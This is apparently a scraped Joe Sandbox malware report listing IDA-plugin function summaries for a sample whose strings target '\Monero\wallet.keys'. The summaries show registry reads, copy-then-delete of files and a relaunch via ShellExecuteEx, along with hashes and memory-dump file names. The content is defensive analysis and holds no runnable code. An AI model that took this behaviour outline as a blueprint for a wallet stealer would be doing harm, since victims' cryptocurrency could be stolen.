Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 3e3d37abea82647b42a459ffd09d13c68478ed836bbbd35716ef0610fc2d88fd
Instruction ID: a4cd5df7ce6256658d08e04ea828f41b63851be32c037e04062876aaf1e74c84
Opcode Fuzzy Hash: 3e3d37abea82647b42a459ffd09d13c68478ed836bbbd35716ef0610fc2d88fd
Instruction Fuzzy Hash: 67616570910248EBDB18EFA5CC96FEE7775AF44304F00841AF90A5F191EB786A16CB57

Function 004740B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00E8D398,00000000,00020119,?), ref: 004740F4
RegQueryValueExA.ADVAPI32(?,00E8DB48,00000000,00000000,00000000,000000FF), ref: 00474118
RegCloseKey.ADVAPI32(?), ref: 00474122
lstrcat.KERNEL32(?,00000000), ref: 00474147
lstrcat.KERNEL32(?,00E8DBA8), ref: 0047415B

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 5cd129d67b95eb0cf7c3b100541985a04ba5f85bc9881942e33df7a8d2ff71bd
Instruction ID: 31f420bc6999b52519b3011dc27ae3ffb44cbdd3ce21179def7b1ce17032b4dd
Opcode Fuzzy Hash: 5cd129d67b95eb0cf7c3b100541985a04ba5f85bc9881942e33df7a8d2ff71bd
Instruction Fuzzy Hash: EB419BB690010867DB14FBE0DC46FFE737DA789304F04855EB61A56181EB796B88CB92

Function 00477E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00477E37
RtlAllocateHeap.NTDLL(00000000), ref: 00477E3E
RegOpenKeyExA.ADVAPI32(80000002,00E7B738,00000000,00020119,?), ref: 00477E5E
RegQueryValueExA.ADVAPI32(?,00E8D238,00000000,00000000,000000FF,000000FF), ref: 00477E7F
RegCloseKey.ADVAPI32(?), ref: 00477E92

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: a6c918ef0723c20a0cfce7e3c21d3c57eeb5de5c8ecff088af6a4260ca9f1afe
Instruction ID: c7495ab74c6121929d67dfe6cf1d463d4162fb0dd30291dc104b32e21a859da3
Opcode Fuzzy Hash: a6c918ef0723c20a0cfce7e3c21d3c57eeb5de5c8ecff088af6a4260ca9f1afe
Instruction Fuzzy Hash: 86118FB1A44205EBD700DFD4DD49FBBBBB9EB05B00F10815AF605A7280D7786801CFA2

Function 00479260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00E8D8F0,?,?,?,0047140C,?,00E8D8F0,00000000), ref: 0047926C
lstrcpyn.KERNEL32(006AAB88,00E8D8F0,00E8D8F0,?,0047140C,?,00E8D8F0), ref: 00479290
lstrlen.KERNEL32(?,?,0047140C,?,00E8D8F0), ref: 004792A7
wsprintfA.USER32 ref: 004792C7

Strings

%s%s, xrefs: 004792B5

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: a76973ff48cecb53a9b45e934089e22b09d78d095a6717a051955200a2f89464
Instruction ID: 472218a9a2e8e7580937b8457e110c82fdb4912c060f832d8bbb4cab07ec0d58
Opcode Fuzzy Hash: a76973ff48cecb53a9b45e934089e22b09d78d095a6717a051955200a2f89464
Instruction Fuzzy Hash: A701E575500108FFCB04EFE8C988EAE7BBAEB49350F108549F9098B201C735AE40DFA5

Function 004612A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004612B4
RtlAllocateHeap.NTDLL(00000000), ref: 004612BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004612D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004612F5
RegCloseKey.ADVAPI32(?), ref: 004612FF

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 45b261b9d4da57bc4227515ddbaa43924e7f096c6ab3543ea230632570e74356
Instruction ID: 46f377f02281ea25ea5cdea9e4339c0f3c4180363738ed4953d0dfb501dece75
Opcode Fuzzy Hash: 45b261b9d4da57bc4227515ddbaa43924e7f096c6ab3543ea230632570e74356
Instruction Fuzzy Hash: E70131B9A40208BFDB00DFE0DC49FAEB7B9EB48701F00819AFA0597280D774AA01CF51

Function 0047C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0047C8EC
___crtLCMapStringA.LIBCMT ref: 0047C90C
___crtLCMapStringA.LIBCMT ref: 0047C931

Strings

, xrefs: 0047C896

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 57eda2573f95f51a32562fd86631a8c673b42fe037bc90b370fb0829d44593ca
Instruction ID: 7cbfaa614aca787118130c0421ac3ee0a30fd163612b44e4a9af11e87e55f80f
Opcode Fuzzy Hash: 57eda2573f95f51a32562fd86631a8c673b42fe037bc90b370fb0829d44593ca
Instruction Fuzzy Hash: 0E4125F150078C5EDB318B248CC4BFBBBEC9F45308F1484EDEA8E86182D2759A458F69

Function 00476630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00476663

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

ShellExecuteEx.SHELL32(0000003C), ref: 00476726
ExitProcess.KERNEL32 ref: 00476755

Strings

<, xrefs: 004766D9

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4eddc07d7ca674d0ddd428a7e00e04ce25bc6d2777f5f2acdee16f8fdb8f1690
Instruction ID: 1168d7090b5f78d56eec7848a04d610073ccb23b1786c759035f169956b2e70e
Opcode Fuzzy Hash: 4eddc07d7ca674d0ddd428a7e00e04ce25bc6d2777f5f2acdee16f8fdb8f1690
Instruction Fuzzy Hash: B6312BF1801208AADB54EB91DC85BDE7778AF44304F40919EF31966191DF786B48CF6A

Function 004787C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00480E28,00000000,?), ref: 0047882F
RtlAllocateHeap.NTDLL(00000000), ref: 00478836
wsprintfA.USER32 ref: 00478850

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Strings

%dx%d, xrefs: 00478847

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 97e931ddd3ecdd92d0fd12e19acb4d88bc4dfbaae7f9370a95d063526f71542c
Instruction ID: 9e3e0d07a541a29a9c3fae760bdecd8ee63beeaaf78cadb22e9c744c912bca9f
Opcode Fuzzy Hash: 97e931ddd3ecdd92d0fd12e19acb4d88bc4dfbaae7f9370a95d063526f71542c
Instruction Fuzzy Hash: 8C21EFB1A40204ABDB04EFD4DD45FAEB7B9FB49711F10411AF605A7280C779A901CFA5

Function 00478D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0047951E,00000000), ref: 00478D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00478D62
wsprintfW.USER32 ref: 00478D78

Strings

%hs, xrefs: 00478D6F

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 99eaa59f846ef21382ff4683385b26767fac76a717e4ba0543e86cced1da0e9e
Instruction ID: e1dfc6a2e0840ad7928af77c0da9681efd00c9f199683127b8f67069589b6731
Opcode Fuzzy Hash: 99eaa59f846ef21382ff4683385b26767fac76a717e4ba0543e86cced1da0e9e
Instruction Fuzzy Hash: E8E046B4A40208BBC700EFD4DC0AA6977A8EB05702F000196F90A86280DA79AA008F96

Function 0046A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 00478B60: GetSystemTime.KERNEL32(00480E1A,00E89FA8,004805AE,?,?,004613F9,?,0000001A,00480E1A,00000000,?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 00478B86

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0046A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0046A3FF
lstrlen.KERNEL32(00000000), ref: 0046A6BC

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

DeleteFileA.KERNEL32(00000000), ref: 0046A743

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3693044b813882d0fe4c55fdf33ef0d4dad3f484f1d75a27ba848e313320193a
Instruction ID: 2e48fa1c33489c3f82423089a53169521b683f70216fe0c6a1ce35ac5afd3685
Opcode Fuzzy Hash: 3693044b813882d0fe4c55fdf33ef0d4dad3f484f1d75a27ba848e313320193a
Instruction Fuzzy Hash: 5BE101728101089ACB14FBA5DC92EEE7338AF54304F51C55EF51A72091EF386A1DCB7A

Function 0046D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 00478B60: GetSystemTime.KERNEL32(00480E1A,00E89FA8,004805AE,?,?,004613F9,?,0000001A,00480E1A,00000000,?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 00478B86

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0046D481
lstrlen.KERNEL32(00000000), ref: 0046D698
lstrlen.KERNEL32(00000000), ref: 0046D6AC
DeleteFileA.KERNEL32(00000000), ref: 0046D72B

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: df09a2780cde28b7545870cc1c75bd44211666e6f1cb9e8583afd4bdeec93a6a
Instruction ID: 7e70d852aec6e48773f093cfc96f7e584932e6a9a8062126145ccacaf7f802c7
Opcode Fuzzy Hash: df09a2780cde28b7545870cc1c75bd44211666e6f1cb9e8583afd4bdeec93a6a
Instruction Fuzzy Hash: 469133719101049BCB04FBA1DC52EEE7339AF94308F51852EF11B62091EF386A19CB7B

Function 0046D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

